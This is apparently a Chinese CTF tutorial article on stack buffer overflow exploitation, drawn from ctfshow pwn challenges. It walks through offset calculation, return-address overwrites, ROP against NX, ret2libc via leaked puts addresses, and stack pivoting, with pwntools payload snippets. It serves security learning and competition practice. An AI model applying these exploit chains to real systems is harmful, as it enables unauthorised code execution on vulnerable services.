当前位置: 首页 > news >正文

【CTF | pwn篇】从ctfshow入门到进阶:栈溢出实战技巧全解析

1. 栈溢出漏洞基础认知

栈溢出(Stack Overflow)是CTF-PWN方向最经典的漏洞类型之一。简单来说,当程序向栈上的缓冲区写入数据时,如果超出了缓冲区边界,就会覆盖相邻的内存区域,这就是栈溢出漏洞。这种漏洞通常由以下危险函数引发:

  • gets():完全不检查输入长度的函数
  • strcpy():不检查目标缓冲区大小的字符串复制函数
  • read():当长度参数控制不严时可能引发溢出
  • sprintf():格式化字符串不安全的用法

实际案例:在ctfshow pwn_035中,程序使用strcpy将argv[1]复制到固定大小的dest缓冲区,当argv[1]长度超过0x68时就会发生栈溢出。

栈帧结构是理解溢出的关键。以32位程序为例,函数调用时的典型栈布局如下:

高地址 | 参数3 | | 参数2 | | 参数1 | | 返回地址 | ← 溢出目标 | 旧的ebp | | 局部变量 | ← 缓冲区起始 低地址

2. 基础栈溢出利用实战

2.1 偏移量计算方法

确定覆盖返回地址所需的填充长度是攻击的第一步。常用方法有:

  1. 静态分析:通过IDA查看变量与ebp的偏移
char s[36]; // [esp+0h] [ebp-28h]

此时偏移量 = 0x28(到ebp) + 4(覆盖返回地址)

  1. 动态调试:使用cyclic模式字符串
gdb-peda$ pattern create 200 gdb-peda$ run < pattern.txt # 崩溃时查看eip值 gdb-peda$ pattern offset $eip

2.2 直接控制EIP

ctfshow pwn_036展示了最基础的利用方式:

from pwn import * getflag_addr = 0x08048586 payload = b'A'*0x28 + b'BBBB' + p32(getflag_addr) sh.sendline(payload)

这里用'A'填满缓冲区,'BBBB'覆盖ebp,最后用后门函数地址覆盖返回地址。

2.3 危险函数特征识别

审计代码时需要特别关注:

void vulnerable() { char buf[16]; gets(buf); // 明显危险 read(0, buf, 50); // 长度大于缓冲区 strcpy(dest, src); // 无长度检查 }

3. 绕过基础防护机制

3.1 对抗NX保护

当栈不可执行时(NX enabled),我们需要使用ROP(Return-Oriented Programming)。以ctfshow pwn_040为例:

pop_rdi = 0x4007e3 bin_sh = 0x400808 system_plt = 0x400520 payload = b'A'*18 payload += p64(pop_rdi) + p64(bin_sh) payload += p64(system_plt)

关键步骤:

  1. 找到pop rdi; ret等gadget
  2. 定位/bin/sh字符串地址
  3. 获取system函数地址

3.2 绕过Canary保护

栈金丝雀(Stack Canary)检测到溢出时会终止程序。绕过方法包括:

  • 泄露Canary值:通过格式化字符串等漏洞
  • 逐字节爆破:适用于fork型服务
  • 覆盖SEH:Windows特有方法

ctfshow pwn_049中程序没有开启Canary,但实际比赛中常会遇到。

4. 高级利用技巧

4.1 ret2libc实战

当程序没有提供后门函数时,我们需要使用libc中的函数。ctfshow pwn_045的利用流程:

  1. 泄露libc函数地址(如puts)
  2. 计算libc基地址
  3. 定位system和/bin/sh
  4. 构造ROP链
# 泄露puts地址 payload = b'A'*0x6c + p32(puts_plt) + p32(main) + p32(puts_got) sh.sendline(payload) # 计算system地址 puts_addr = u32(sh.recv(4)) libc_base = puts_addr - libc.sym['puts'] system = libc_base + libc.sym['system']

4.2 栈迁移技术

当溢出空间不足时,可以使用栈迁移(stack pivot)。关键技术点:

  1. 控制ebp寄存器
  2. 使用leave; ret指令序列
  3. 将栈转移到可控区域(如.bss段)
leave_ret = 0x0804844d payload = p32(bss) + p32(system) + p32(bss+12) + b"/bin/sh\x00" payload = payload.ljust(0x6c, b'A') + p32(bss-4) + p32(leave_ret)

5. 64位与32位的差异

64位架构的利用有显著不同:

  1. 参数通过寄存器传递(rdi, rsi, rdx等)
  2. 需要平衡栈帧(stack alignment)
  3. 地址空间更大导致爆破更困难

ctfshow pwn_038的典型payload:

payload = b'A'*10 + b'B'*8 # 覆盖rbp payload += p64(pop_rdi) + p64(bin_sh) payload += p64(ret) + p64(system) # 栈对齐

6. 工具链与调试技巧

高效的工具使用能大幅提升解题速度:

  1. pwntools:自动化攻击脚本
context(arch='i386', os='linux') elf = ELF('./pwn') libc = elf.libc # 自动识别libc
  1. GDB调试关键命令:
checksec # 查看保护 b *0x8041234 # 下断点 x/20wx $esp # 查看栈内存
  1. ROPgadget:查找有用指令片段
ROPgadget --binary ./pwn | grep "pop rdi"

7. ctfshow题目精讲

7.1 pwn_051 IronMan变形题

这道题的特殊之处在于输入字符'I'会被扩展为"IronMan"。利用这个特性:

# 输入10个'I'实际会变成70字节 payload = b'I'*10 + p32(backdoor)

7.2 pwn_052 条件触发后门

后门函数需要满足特定条件才会输出flag:

if (a == 876 && b == 877) { print_flag(); }

因此payload需要精心构造:

payload = b'A'*0x6c payload += p32(backdoor) + p32(ret_addr) payload += p32(876) + p32(877)

8. 漏洞挖掘方法论

系统化的漏洞挖掘流程:

  1. 信息收集

    • checksec查看保护机制
    • 识别危险函数(gets/strcpy等)
    • 查找后门函数/字符串
  2. 漏洞定位

    • 静态分析(IDA/Frida)
    • 动态调试(GDB+Ped)
  3. 利用开发

    • 计算精确偏移
    • 绕过现有保护
    • 稳定化payload
  4. 自动化脚本

    • 处理交互逻辑
    • 增加鲁棒性
    • 优化攻击成功率

在真实CTF比赛中,建议建立自己的漏洞利用模板库,包含常见场景的利用代码片段,可以快速组合修改。同时要养成记录解题过程的习惯,这些笔记会成为宝贵的经验积累。

http://www.cnnetsun.cn/news/1877100.html

相关文章:

  • TexLive极简安装法:5分钟搞定基础版+中英文支持(附磁盘空间不足解决方案)
  • 从理论到硅片:二值化CNN在FPGA上的高效部署实践
  • Spring AI Alibaba 1.1
  • c++读取整个文件到字符串方法 c++如何一次性读取文件
  • ESOP软硬件方案为3C产线提供全方位防错保障
  • AEB标配率接近8成!强规临近,存量红利在哪
  • devops系列(一) Nginx 反向代理与负载均衡:一台服务器扛不住怎么办
  • MCP与Agent协同的智能体架构设计
  • 代码随想录算法训练营第七天补卡| leetcode144\145\94 二叉树的左右中序遍历
  • ViPER4Windows音频补丁工具:Windows 10/11系统兼容性问题终极解决方案
  • 深度解析ImageNet分类任务中的卷积神经网络架构优化策略
  • 【数据结构与算法】第43篇:Trie树(前缀树/字典树)
  • 通义千问3-4B真实体验:本地部署生成测试用例,效率提升实测
  • 压力测试下的心态管理:当线上告警电话响起时
  • 别再瞎测了!手把手教你用泰克/安捷伦示波器搞定USB2.0信号质量(Device/Hub模式实战)
  • 从HTTP到K8s探针:彻底搞懂HTTPGet健康检查
  • 全网最全:零基础学深度学习需要学哪些框架?PyTorch 和 TensorFlow 选哪个?
  • 告别手写脚本!用Frida-Trace自动Hook Android App的Java方法(附实战Demo)
  • ToClaw真的能让AI Agent落地吗?先看清它的代价与边界
  • Python语言的12个基础知识点小结
  • 基于STM32的智能家居安防系统设计与实现
  • LangChain4j 1.0.0-beta2踩坑记:从社区版DashScope依赖到SpringBoot自动配置的完整避坑指南
  • 扣子(Coze)实战:10万+治愈奶奶图文,Coze一键生成
  • Simulink信号解析避坑指南:为什么你的‘蓝色鱼叉’图标不出现?
  • [Unity] ShaderGraph实战:动态水面倒影与镜面反射效果优化
  • SDXL 1.0电影级绘图工坊:Mathtype公式渲染与科学图表生成
  • SQL如何获取分组最后一条数据_LAST_VALUE的滑动窗口陷阱
  • Kubernetes v1.36 云原生架构新特性详解:生产级集群升级指南
  • devops系列(二) Git 工作流与版本控制:团队协作不踩坑
  • Java 从入门到精通(十五):线程同步与 synchronized,为什么多个线程改同一个变量时结果总会乱?